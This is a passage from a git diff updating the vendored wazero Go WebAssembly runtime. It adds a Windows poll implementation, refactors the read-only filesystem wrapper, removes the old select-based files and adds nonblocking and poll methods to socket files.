is the interval between each calls to peekNamedPipe in selectAllHandles +const pollInterval = 100 * time.Millisecond + +// _poll implements poll on Windows, for a subset of cases. +// +// fds may contain any number of file handles, but regular files and pipes are only processed for _POLLIN. +// Stdin is a pipe, thus it is checked for readiness when present. Pipes are checked using PeekNamedPipe. +// Regular files always immediately reported as ready, regardless their actual state and timeouts. +// +// If n==0 it will wait for the given timeout duration, but it will return sys.ENOSYS if timeout is nil, +// i.e. it won't block indefinitely. The given ctx is used to allow for cancellation, +// and it is currently used only in tests. +// +// The implementation actually polls every 100 milliseconds (pollInterval) until it reaches the +// given timeout (in millis). +// +// The duration may be negative, in which case it will wait indefinitely. The given ctx is +// used to allow for cancellation, and it is currently used only in tests. +func _poll(fds []pollFd, timeoutMillis int32) (n int, errno sys.Errno) { + if fds == nil { + return -1, sys.ENOSYS + } + + regular, pipes, sockets, errno := partionByFtype(fds) + nregular := len(regular) + if errno != 0 { + return -1, errno + } + + // Ticker that emits at every pollInterval. + tick := time.NewTicker(pollInterval) + tickCh := tick.C + defer tick.Stop() + + // Timer that expires after the given duration. + // Initialize afterCh as nil: the select below will wait forever. + var afterCh <-chan time.Time + if timeoutMillis >= 0 { + // If duration is not nil, instantiate the timer. + after := time.NewTimer(time.Duration(timeoutMillis) * time.Millisecond) + defer after.Stop() + afterCh = after.C + } + + npipes, nsockets, errno := peekAll(pipes, sockets) + if errno != 0 { + return -1, errno + } + count := nregular + npipes + nsockets + if count > 0 { + return count, 0 + } + + for { + select { + case <-afterCh: + return 0, 0 + case <-tickCh: + npipes, nsockets, errno := peekAll(pipes, sockets) + if errno != 0 { + return -1, errno + } + count = nregular + npipes + nsockets + if count > 0 { + return count, 0 + } + } + } +} + +func peekAll(pipes, sockets []pollFd) (npipes, nsockets int, errno sys.Errno) { + npipes, errno = peekPipes(pipes) + if errno != 0 { + return + } + + // Invoke wsaPoll with a 0-timeout to avoid blocking. + // Timeouts are handled in pollWithContext instead. + nsockets, errno = wsaPoll(sockets, 0) + if errno != 0 { + return + } + + count := npipes + nsockets + if count > 0 { + return + } + + return +} + +func peekPipes(fds []pollFd) (n int, errno sys.Errno) { + for _, fd := range fds { + bytes, errno := peekNamedPipe(syscall.Handle(fd.fd)) + if errno != 0 { + return -1, sys.UnwrapOSError(errno) + } + if bytes > 0 { + n++ + } + } + return +} + +// wsaPoll is the WSAPoll function from winsock2. +// +// See https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsapoll +func wsaPoll(fds []pollFd, timeout int) (n int, errno sys.Errno) { + if len(fds) > 0 { + sockptr := &fds[0] + ns, _, e := syscall.SyscallN( + procWSAPoll.Addr(), + uintptr(unsafe.Pointer(sockptr)), + uintptr(len(fds)), + uintptr(timeout)) + if e != 0 { + return -1, sys.UnwrapOSError(e) + } + n = int(ns) + } + return +} + +// ftype is a type of file that can be handled by poll. +type ftype uint8 + +const ( + ftype_regular ftype = iota + ftype_pipe + ftype_socket +) + +// partionByFtype checks the type of each fd in fds and returns 3 distinct partitions +// for regular files, named pipes and sockets. +func partionByFtype(fds []pollFd) (regular, pipe, socket []pollFd, errno sys.Errno) { + for _, pfd := range fds { + t, errno := ftypeOf(pfd.fd) + if errno != 0 { + return nil, nil, nil, errno + } + switch t { + case ftype_regular: + regular = append(regular, pfd) + case ftype_pipe: + pipe = append(pipe, pfd) + case ftype_socket: + socket = append(socket, pfd) + } + } + return +} + +// ftypeOf checks the type of fd and return the corresponding ftype. +func ftypeOf(fd uintptr) (ftype, sys.Errno) { + h := syscall.Handle(fd) + t, err := syscall.GetFileType(h) + if err != nil { + return 0, sys.UnwrapOSError(err) + } + switch t { + case syscall.FILE_TYPE_CHAR, syscall.FILE_TYPE_DISK: + return ftype_regular, 0 + case syscall.FILE_TYPE_PIPE: + if isSocket(h) { + return ftype_socket, 0 + } else { + return ftype_pipe, 0 + } + default: + return ftype_regular, 0 + } +} + +// isSocket returns true if the given file handle +// is a pipe. +func isSocket(fd syscall.Handle) bool { + r, _, errno := syscall.SyscallN( + procGetNamedPipeInfo.Addr(), + uintptr(fd), + uintptr(unsafe.Pointer(nil)), + uintptr(unsafe.Pointer(nil)), + uintptr(unsafe.Pointer(nil)), + uintptr(unsafe.Pointer(nil))) + return r == 0 || errno != 0 +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/readfs.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/readfs.go index 1e96e2b4dd..59e331a298 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/readfs.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/readfs.go @@ -2,57 +2,25 @@ package sysfs import ( "io/fs" - "syscall" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" ) -// NewReadFS is used to mask an existing fsapi.FS for reads. Notably, this allows -// the CLI to do read-only mounts of directories the host user can write, but -// doesn't want the guest wasm to. For example, Python libraries shouldn't be -// written to at runtime by the python wasm file. -func NewReadFS(fs fsapi.FS) fsapi.FS { - if _, ok := fs.(*readFS); ok { - return fs - } else if _, ok = fs.(fsapi.UnimplementedFS); ok { - return fs // unimplemented is read-only - } - return &readFS{fs} -} - -type readFS struct { - fsapi.FS -} - -// OpenFile implements the same method as documented on fsapi.FS -func (r *readFS) OpenFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, experimentalsys.Errno) { - // TODO: Once the real implementation is complete, move the below to - // /RATIONALE.md. Doing this while the type is unstable creates - // documentation drift as we expect a lot of reshaping meanwhile. - // - // Callers of this function expect to either open a valid file handle, or - // get an error, if they can't. We want to return ENOSYS if opened for - // anything except reads. - // - // Instead, we could return a fake no-op file on O_WRONLY. However, this - // hurts observability because a later write error to that file will be on - // a different source code line than the root cause which is opening with - // an unsupported flag. - // - // The tricky part is os.RD_ONLY is typically defined as zero, so while the - // parameter is named flag, the part about opening read vs write isn't a - // typical bitflag. We can't compare against zero anyway, because even if - // there isn't a current flag to OR in with that, there may be in the - // future. What we do instead is mask the flags about read/write mode and - // check if they are the opposite of read or not. - switch flag & (fsapi.O_RDONLY | fsapi.O_WRONLY | fsapi.O_RDWR) { - case fsapi.O_WRONLY, fsapi.O_RDWR: - if flag&fsapi.O_DIRECTORY != 0 { +type ReadFS struct { + experimentalsys.FS +} + +// OpenFile implements the same method as documented on sys.FS +func (r *ReadFS) OpenFile(path string, flag experimentalsys.Oflag, perm fs.FileMode) (experimentalsys.File, experimentalsys.Errno) { + // Mask the mutually exclusive bits as they determine write mode. + switch flag & (experimentalsys.O_RDONLY | experimentalsys.O_WRONLY | experimentalsys.O_RDWR) { + case experimentalsys.O_WRONLY, experimentalsys.O_RDWR: + // Return the correct error if a directory was opened for write. + if flag&experimentalsys.O_DIRECTORY != 0 { return nil, experimentalsys.EISDIR } return nil, experimentalsys.ENOSYS - default: // fsapi.O_RDONLY (or no flag) so we are ok! + default: // sys.O_RDONLY (integer zero) so we are ok! } f, errno := r.FS.OpenFile(path, flag, perm) @@ -62,80 +30,80 @@ func (r *readFS) OpenFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsap return &readFile{f}, 0 } -// Mkdir implements the same method as documented on fsapi.FS -func (r *readFS) Mkdir(path string, perm fs.FileMode) experimentalsys.Errno { +// Mkdir implements the same method as documented on sys.FS +func (r *ReadFS) Mkdir(path string, perm fs.FileMode) experimentalsys.Errno { return experimentalsys.EROFS } -// Chmod implements the same method as documented on fsapi.FS -func (r *readFS) Chmod(path string, perm fs.FileMode) experimentalsys.Errno { +// Chmod implements the same method as documented on sys.FS +func (r *ReadFS) Chmod(path string, perm fs.FileMode) experimentalsys.Errno { return experimentalsys.EROFS } -// Rename implements the same method as documented on fsapi.FS -func (r *readFS) Rename(from, to string) experimentalsys.Errno { +// Rename implements the same method as documented on sys.FS +func (r *ReadFS) Rename(from, to string) experimentalsys.Errno { return experimentalsys.EROFS } -// Rmdir implements the same method as documented on fsapi.FS -func (r *readFS) Rmdir(path string) experimentalsys.Errno { +// Rmdir implements the same method as documented on sys.FS +func (r *ReadFS) Rmdir(path string) experimentalsys.Errno { return experimentalsys.EROFS } -// Link implements the same method as documented on fsapi.FS -func (r *readFS) Link(_, _ string) experimentalsys.Errno { +// Link implements the same method as documented on sys.FS +func (r *ReadFS) Link(_, _ string) experimentalsys.Errno { return experimentalsys.EROFS } -// Symlink implements the same method as documented on fsapi.FS -func (r *readFS) Symlink(_, _ string) experimentalsys.Errno { +// Symlink implements the same method as documented on sys.FS +func (r *ReadFS) Symlink(_, _ string) experimentalsys.Errno { return experimentalsys.EROFS } -// Unlink implements the same method as documented on fsapi.FS -func (r *readFS) Unlink(path string) experimentalsys.Errno { +// Unlink implements the same method as documented on sys.FS +func (r *ReadFS) Unlink(path string) experimentalsys.Errno { return experimentalsys.EROFS } -// Utimens implements the same method as documented on fsapi.FS -func (r *readFS) Utimens(path string, times *[2]syscall.Timespec) experimentalsys.Errno { +// Utimens implements the same method as documented on sys.FS +func (r *ReadFS) Utimens(path string, atim, mtim int64) experimentalsys.Errno { return experimentalsys.EROFS } // compile-time check to ensure readFile implements api.File. -var _ fsapi.File = (*readFile)(nil) +var _ experimentalsys.File = (*readFile)(nil) type readFile struct { - fsapi.File + experimentalsys.File } -// Write implements the same method as documented on fsapi.File. +// Write implements the same method as documented on sys.File. func (r *readFile) Write([]byte) (int, experimentalsys.Errno) { return 0, r.writeErr() } -// Pwrite implements the same method as documented on fsapi.File. +// Pwrite implements the same method as documented on sys.File. func (r *readFile) Pwrite([]byte, int64) (n int, errno experimentalsys.Errno) { return 0, r.writeErr() } -// Truncate implements the same method as documented on fsapi.File. +// Truncate implements the same method as documented on sys.File. func (r *readFile) Truncate(int64) experimentalsys.Errno { return r.writeErr() } -// Sync implements the same method as documented on fsapi.File. +// Sync implements the same method as documented on sys.File. func (r *readFile) Sync() experimentalsys.Errno { return experimentalsys.EBADF } -// Datasync implements the same method as documented on fsapi.File. +// Datasync implements the same method as documented on sys.File. func (r *readFile) Datasync() experimentalsys.Errno { return experimentalsys.EBADF } -// Utimens implements the same method as documented on fsapi.File. -func (r *readFile) Utimens(*[2]syscall.Timespec) experimentalsys.Errno { +// Utimens implements the same method as documented on sys.File. +func (r *readFile) Utimens(int64, int64) experimentalsys.Errno { return experimentalsys.EBADF } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename.go index 5ec22539e4..f7d84ef7ae 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename.go @@ -1,4 +1,4 @@ -//go:build !windows +//go:build !windows && !plan9 package sysfs diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename_plan9.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename_plan9.go new file mode 100644 index 0000000000..474cc7595e --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename_plan9.go @@ -0,0 +1,14 @@ +package sysfs + +import ( + "os" + + "github.com/tetratelabs/wazero/experimental/sys" +) + +func rename(from, to string) sys.Errno { + if from == to { + return 0 + } + return sys.UnwrapOSError(os.Rename(from, to)) +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select.go deleted file mode 100644 index ac0861fda4..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select.go +++ /dev/null @@ -1,36 +0,0 @@ -package sysfs - -import ( - "time" - - "github.com/tetratelabs/wazero/internal/platform" -) - -// _select exposes the select(2) syscall. This is named as such to avoid -// colliding with they keyword select while not exporting the function. -// -// # Notes on Parameters -// -// For convenience, we expose a pointer to a time.Duration instead of a pointer to a syscall.Timeval. -// It must be a pointer because `nil` means "wait forever". -// -// However, notice that select(2) may mutate the pointed Timeval on some platforms, -// for instance if the call returns early. -// -// This implementation *will not* update the pointed time.Duration value accordingly. -// -// See also: https://github.com/golang/sys/blob/master/unix/syscall_unix_test.go#L606-L617 -// -// # Notes on the Syscall -// -// Because this is a blocking syscall, it will also block the carrier thread of the goroutine, -// preventing any means to support context cancellation directly. -// -// There are ways to obviate this issue. We outline here one idea, that is however not currently implemented. -// A common approach to support context cancellation is to add a signal file descriptor to the set, -// e.g. the read-end of a pipe or an eventfd on Linux. -// When the context is canceled, we may unblock a Select call by writing to the fd, causing it to return immediately. -// This however requires to do a bit of housekeeping to hide the "special" FD from the end-user. -func _select(n int, r, w, e *platform.FdSet, timeout *time.Duration) (int, error) { - return syscall_select(n, r, w, e, timeout) -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.go deleted file mode 100644 index eabf4f455b..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.go +++ /dev/null @@ -1,45 +0,0 @@ -package sysfs - -import ( - "syscall" - "time" - "unsafe" - - "github.com/tetratelabs/wazero/internal/platform" -) - -// syscall_select invokes select on Darwin, with the given timeout Duration. -// We implement our own version instead of relying on syscall.Select because the latter -// only returns the error and discards the result. -func syscall_select(n int, r, w, e *platform.FdSet, timeout *time.Duration) (int, error) { - var t *syscall.Timeval - if timeout != nil { - tv := syscall.NsecToTimeval(timeout.Nanoseconds()) - t = &tv - } - result, _, errno := syscall_syscall6( - libc_select_trampoline_addr, - uintptr(n), - uintptr(unsafe.Pointer(r)), - uintptr(unsafe.Pointer(w)), - uintptr(unsafe.Pointer(e)), - uintptr(unsafe.Pointer(t)), - 0) - res := int(result) - if errno == 0 { - return res, nil - } - return res, errno -} - -// libc_select_trampoline_addr is the address of the -// `libc_select_trampoline` symbol, defined in `select_darwin.s`. -// -// We use this to invoke the syscall through syscall_syscall6 imported below. -var libc_select_trampoline_addr uintptr - -// Imports the select symbol from libc as `libc_select`. -// -// Note: CGO mechanisms are used in darwin regardless of the CGO_ENABLED value -// or the "cgo" build flag. See /RATIONALE.md for why. -//go:cgo_import_dynamic libc_select select "/usr/lib/libSystem.B.dylib" diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.s b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.s deleted file mode 100644 index 16e65e8ec6..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.s +++ /dev/null @@ -1,8 +0,0 @@ -// lifted from golang.org/x/sys unix -#include "textflag.h" - -TEXT libc_select_trampoline<>(SB), NOSPLIT, $0-0 - JMP libc_select(SB) - -GLOBL ·libc_select_trampoline_addr(SB), RODATA, $8 -DATA ·libc_select_trampoline_addr(SB)/8, $libc_select_trampoline<>(SB) diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_linux.go deleted file mode 100644 index aae5e48f66..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_linux.go +++ /dev/null @@ -1,18 +0,0 @@ -package sysfs - -import ( - "syscall" - "time" - - "github.com/tetratelabs/wazero/internal/platform" -) - -// syscall_select invokes select on Unix (unless Darwin), with the given timeout Duration. -func syscall_select(n int, r, w, e *platform.FdSet, timeout *time.Duration) (int, error) { - var t *syscall.Timeval - if timeout != nil { - tv := syscall.NsecToTimeval(timeout.Nanoseconds()) - t = &tv - } - return syscall.Select(n, (*syscall.FdSet)(r), (*syscall.FdSet)(w), (*syscall.FdSet)(e), t) -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_unsupported.go deleted file mode 100644 index 400df900e6..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_unsupported.go +++ /dev/null @@ -1,14 +0,0 @@ -//go:build !darwin && !linux && !windows - -package sysfs - -import ( - "time" - - "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/platform" -) - -func syscall_select(n int, r, w, e *platform.FdSet, timeout *time.Duration) (int, error) { - return -1, sys.ENOSYS -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_windows.go deleted file mode 100644 index b5c1a1bdb1..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_windows.go +++ /dev/null @@ -1,173 +0,0 @@ -package sysfs - -import ( - "context" - "syscall" - "time" - "unsafe" - - "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/platform" -) - -// pollInterval is the interval between each calls to peekNamedPipe in selectAllHandles -const pollInterval = 100 * time.Millisecond - -// zeroDuration is the zero value for time.Duration. It is used in selectAllHandles. -var zeroDuration = time.Duration(0) - -// syscall_select emulates the select syscall on Windows, for a subset of cases. -// -// r, w, e may contain any number of file handles, but regular files and pipes are only processed for r (Read). -// Stdin is a pipe, thus it is checked for readiness when present. Pipes are checked using PeekNamedPipe. -// Regular files always immediately report as ready, regardless their actual state and timeouts. -// -// If n==0 it will wait for the given timeout duration, but it will return sys.ENOSYS if timeout is nil, -// i.e. it won't block indefinitely. -// -// Note: ideas taken from https://stackoverflow.com/questions/6839508/test-if-stdin-has-input-for-c-windows-and-or-linux -// PeekNamedPipe: https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-peeknamedpipe -func syscall_select(n int, r, w, e *platform.FdSet, timeout *time.Duration) (int, error) { - if n == 0 { - // Don't block indefinitely. - if timeout == nil { - return -1, sys.ENOSYS - } - time.Sleep(*timeout) - return 0, nil - } - - n, errno := selectAllHandles(context.TODO(), r, w, e, timeout) - if errno == 0 { - return n, nil - } - return n, errno -} - -// selectAllHandles emulates a general-purpose POSIX select on Windows. -// -// The implementation actually polls every 100 milliseconds until it reaches the given duration. -// The duration may be nil, in which case it will wait undefinely. The given ctx is -// used to allow for cancellation, and it is currently used only in tests. -// -// As indicated in the man page for select [1], r, w, e are modified upon completion: -// -// "Upon successful completion, the pselect() or select() function shall modify the objects pointed to by the readfds, -// writefds, and errorfds arguments to indicate which file descriptors are ready for reading, ready for writing, -// or have an error condition pending, respectively, and shall return the total number of ready descriptors in all the output sets" -// -// However, for our purposes, this may be pedantic because currently we do not check the values of r, w, e -// after the invocation of select; thus, this behavior may be subject to change in the future for the sake of simplicity. -// -// [1]: https://linux.die.net/man/3/select -func selectAllHandles(ctx context.Context, r, w, e *platform.FdSet, duration *time.Duration) (n int, errno sys.Errno) { - r2, w2, e2 := r.Copy(), w.Copy(), e.Copy() - n, errno = peekAllHandles(r2, w2, e2) - // Short circuit when there is an error, there is data or the duration is zero. - if errno != 0 || n > 0 || (duration != nil && *duration == time.Duration(0)) { - r.SetAll(r2) - w.SetAll(w2) - e.SetAll(e2) - return - } - - // Ticker that emits at every pollInterval. - tick := time.NewTicker(pollInterval) - tickCh := tick.C - defer tick.Stop() - - // Timer that expires after the given duration. - // Initialize afterCh as nil: the select below will wait forever. - var afterCh <-chan time.Time - if duration != nil { - // If duration is not nil, instantiate the timer. - after := time.NewTimer(*duration) - defer after.Stop() - afterCh = after.C - } - - for { - select { - case <-ctx.Done(): - r.Zero() - w.Zero() - e.Zero() - return - case <-afterCh: - r.Zero() - w.Zero() - e.Zero() - return - case <-tickCh: - r2, w2, e2 = r.Copy(), w.Copy(), e.Copy() - n, errno = peekAllHandles(r2, w2, e2) - if errno != 0 || n > 0 { - r.SetAll(r2) - w.SetAll(w2) - e.SetAll(e2) - return - } - } - } -} - -func peekAllHandles(r, w, e *platform.FdSet) (int, sys.Errno) { - // pipes are not checked on w, e - w.Pipes().Zero() - e.Pipes().Zero() - - // peek pipes only for reading - errno := peekAllPipes(r.Pipes()) - if errno != 0 { - return 0, errno - } - - _, errno = winsock_select(r.Sockets(), w.Sockets(), e.Sockets(), &zeroDuration) - if errno != 0 { - return 0, errno - } - - return r.Count() + w.Count() + e.Count(), 0 -} - -func peekAllPipes(pipeHandles *platform.WinSockFdSet) sys.Errno { - ready := &platform.WinSockFdSet{} - for i := 0; i < pipeHandles.Count(); i++ { - h := pipeHandles.Get(i) - bytes, errno := peekNamedPipe(h) - if bytes > 0 { - ready.Set(int(h)) - } - if errno != 0 { - return sys.UnwrapOSError(errno) - } - } - *pipeHandles = *ready - return 0 -} - -func winsock_select(r, w, e *platform.WinSockFdSet, timeout *time.Duration) (int, sys.Errno) { - if r.Count() == 0 && w.Count() == 0 && e.Count() == 0 { - return 0, 0 - } - - var t *syscall.Timeval - if timeout != nil { - tv := syscall.NsecToTimeval(timeout.Nanoseconds()) - t = &tv - } - - rp := unsafe.Pointer(r) - wp := unsafe.Pointer(w) - ep := unsafe.Pointer(e) - tp := unsafe.Pointer(t) - - r0, _, err := syscall.SyscallN( - procselect.Addr(), - uintptr(0), // the first argument is ignored and exists only for compat with BSD sockets. - uintptr(rp), - uintptr(wp), - uintptr(ep), - uintptr(tp)) - return int(r0), sys.UnwrapOSError(err) -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock.go index ea59409943..af739a9082 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock.go @@ -5,7 +5,6 @@ import ( "os" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" socketapi "github.com/tetratelabs/wazero/internal/sock" "github.com/tetratelabs/wazero/sys" ) @@ -18,10 +17,10 @@ func NewTCPListenerFile(tl *net.TCPListener) socketapi.TCPSock { // baseSockFile implements base behavior for all TCPSock, TCPConn files, // regardless the platform. type baseSockFile struct { - fsapi.UnimplementedFile + experimentalsys.UnimplementedFile } -var _ fsapi.File = (*baseSockFile)(nil) +var _ experimentalsys.File = (*baseSockFile)(nil) // IsDir implements the same method as documented on File.IsDir func (*baseSockFile) IsDir() (bool, experimentalsys.Errno) { diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unix.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unix.go index 2509a17303..3698f560e0 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unix.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unix.go @@ -7,6 +7,7 @@ import ( "syscall" "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/internal/fsapi" socketapi "github.com/tetratelabs/wazero/internal/sock" ) @@ -41,8 +42,9 @@ var _ socketapi.TCPSock = (*tcpListenerFile)(nil) type tcpListenerFile struct { baseSockFile - fd uintptr - addr *net.TCPAddr + fd uintptr + addr *net.TCPAddr + nonblock bool } // Accept implements the same method as documented on socketapi.TCPSock @@ -55,12 +57,7 @@ func (f *tcpListenerFile) Accept() (socketapi.TCPConn, sys.Errno) { return &tcpConnFile{fd: uintptr(nfd)}, 0 } -// SetNonblock implements the same method as documented on fsapi.File -func (f *tcpListenerFile) SetNonblock(enabled bool) sys.Errno { - return sys.UnwrapOSError(setNonblock(f.fd, enabled)) -} - -// Close implements the same method as documented on fsapi.File +// Close implements the same method as documented on sys.File func (f *tcpListenerFile) Close() sys.Errno { return sys.UnwrapOSError(syscall.Close(int(f.fd))) } @@ -70,12 +67,29 @@ func (f *tcpListenerFile) Addr() *net.TCPAddr { return f.addr } +// SetNonblock implements the same method as documented on fsapi.File +func (f *tcpListenerFile) SetNonblock(enabled bool) sys.Errno { + f.nonblock = enabled + return sys.UnwrapOSError(setNonblock(f.fd, enabled)) +} + +// IsNonblock implements the same method as documented on fsapi.File +func (f *tcpListenerFile) IsNonblock() bool { + return f.nonblock +} + +// Poll implements the same method as documented on fsapi.File +func (f *tcpListenerFile) Poll(flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno sys.Errno) { + return false, sys.ENOSYS +} + var _ socketapi.TCPConn = (*tcpConnFile)(nil) type tcpConnFile struct { baseSockFile - fd uintptr + fd uintptr + nonblock bool // closed is true when closed was called. This ensures proper sys.EBADF closed bool @@ -89,12 +103,7 @@ func newTcpConn(tc *net.TCPConn) socketapi.TCPConn { return &tcpConnFile{fd: f.Fd()} } -// SetNonblock implements the same method as documented on fsapi.File -func (f *tcpConnFile) SetNonblock(enabled bool) (errno sys.Errno) { - return sys.UnwrapOSError(setNonblock(f.fd, enabled)) -} - -// Read implements the same method as documented on fsapi.File +// Read implements the same method as documented on sys.File func (f *tcpConnFile) Read(buf []byte) (n int, errno sys.Errno) { n, err := syscall.Read(int(f.fd), buf) if err != nil { @@ -105,7 +114,7 @@ func (f *tcpConnFile) Read(buf []byte) (n int, errno sys.Errno) { return n, errno } -// Write implements the same method as documented on fsapi.File +// Write implements the same method as documented on sys.File func (f *tcpConnFile) Write(buf []byte) (n int, errno sys.Errno) { n, err := syscall.Write(int(f.fd), buf) if err != nil { @@ -127,7 +136,7 @@ func (f *tcpConnFile) Recvfrom(p []byte, flags int) (n int, errno sys.Errno) { return n, errno } -// Shutdown implements the same method as documented on fsapi.Conn +// Shutdown implements the same method as documented on sys.Conn func (f *tcpConnFile) Shutdown(how int) sys.Errno { var err error switch how { @@ -141,7 +150,7 @@ func (f *tcpConnFile) Shutdown(how int) sys.Errno { return sys.UnwrapOSError(err) } -// Close implements the same method as documented on fsapi.File +// Close implements the same method as documented on sys.File func (f *tcpConnFile) Close() sys.Errno { return f.close() } @@ -153,3 +162,19 @@ func (f *tcpConnFile) close() sys.Errno { f.closed = true return sys.UnwrapOSError(syscall.Shutdown(int(f.fd), syscall.SHUT_RDWR)) } + +// SetNonblock implements the same method as documented on fsapi.File +func (f *tcpConnFile) SetNonblock(enabled bool) (errno sys.Errno) { + f.nonblock = enabled + return sys.UnwrapOSError(setNonblock(f.fd, enabled)) +} + +// IsNonblock implements the same method as documented on fsapi.File +func (f *tcpConnFile) IsNonblock() bool { + return f.nonblock +} + +// Poll implements the same method as documented on fsapi.File +func (f *tcpConnFile) Poll(flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno sys.Errno) { + return false, sys.ENOSYS +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_windows.go index 8e0ab92e54..ed275e6290 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_windows.go @@ -5,11 +5,10 @@ package sysfs import ( "net" "syscall" - "time" "unsafe" "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/platform" + "github.com/tetratelabs/wazero/internal/fsapi" socketapi "github.com/tetratelabs/wazero/internal/sock" ) @@ -19,8 +18,6 @@ const ( MSG_PEEK = 0x2 // _FIONBIO is the flag to set the O_NONBLOCK flag on socket handles using ioctlsocket. _FIONBIO = 0x8004667e - // _WASWOULDBLOCK corresponds to syscall.EWOULDBLOCK in WinSock. - _WASWOULDBLOCK = 10035 ) var ( @@ -28,12 +25,8 @@ var ( modws2_32 = syscall.NewLazyDLL("ws2_32.dll") // procrecvfrom exposes recvfrom from WinSock. procrecvfrom = modws2_32.NewProc("recvfrom") - // procaccept exposes accept from WinSock. - procaccept = modws2_32.NewProc("accept") // procioctlsocket exposes ioctlsocket from WinSock. procioctlsocket = modws2_32.NewProc("ioctlsocket") - // procselect exposes select from WinSock. - procselect = modws2_32.NewProc("select") ) // recvfrom exposes the underlying syscall in Windows. @@ -92,6 +85,16 @@ func syscallConnControl(conn syscall.Conn, fn func(fd uintptr) (int, sys.Errno)) return } +func _pollSock(conn syscall.Conn, flag fsapi.Pflag, timeoutMillis int32) (bool, sys.Errno) { + if flag != fsapi.POLLIN { + return false, sys.ENOTSUP + } + n, errno := syscallConnControl(conn, func(fd uintptr) (int, sys.Errno) { + return _poll([]pollFd{newPollFd(fd, _POLLIN, 0)}, timeoutMillis) + }) + return n > 0, errno +} + // newTCPListenerFile is a constructor for a socketapi.TCPSock. // // Note: currently the Windows implementation of socketapi.TCPSock @@ -101,9 +104,7 @@ func syscallConnControl(conn syscall.Conn, fn func(fd uintptr) (int, sys.Errno)) // standard library, instead of invoke syscalls/Win32 APIs // because they are sensibly different from Unix's. func newTCPListenerFile(tl *net.TCPListener) socketapi.TCPSock { - w := &winTcpListenerFile{tl: tl} - _ = w.SetNonblock(true) - return w + return &winTcpListenerFile{tl: tl} } var _ socketapi.TCPSock = (*winTcpListenerFile)(nil) @@ -118,17 +119,11 @@ type winTcpListenerFile struct { // Accept implements the same method as documented on socketapi.TCPSock func (f *winTcpListenerFile) Accept() (socketapi.TCPConn, sys.Errno) { - // Ensure we have an incoming connection using winsock_select. - n, errno := syscallConnControl(f.tl, func(fd uintptr) (int, sys.Errno) { - fdSet := platform.WinSockFdSet{} - fdSet.Set(int(fd)) - t := time.Duration(0) - return winsock_select(&fdSet, nil, nil, &t) - }) - - // Otherwise return immediately. - if n == 0 || errno != 0 { - return nil, sys.EAGAIN + // Ensure we have an incoming connection using winsock_select, otherwise return immediately. + if f.nonblock { + if ready, errno := _pollSock(f.tl, fsapi.POLLIN, 0); !ready || errno != 0 { + return nil, sys.EAGAIN + } } // Accept normally blocks goroutines, but we @@ -141,7 +136,20 @@ func (f *winTcpListenerFile) Accept() (socketapi.TCPConn, sys.Errno) { } } -// IsNonblock implements File.IsNonblock +// Close implements the same method as documented on sys.File +func (f *winTcpListenerFile) Close() sys.Errno { + if !f.closed { + return sys.UnwrapOSError(f.tl.Close()) + } + return 0 +} + +// Addr is exposed for testing. +func (f *winTcpListenerFile) Addr() *net.TCPAddr { + 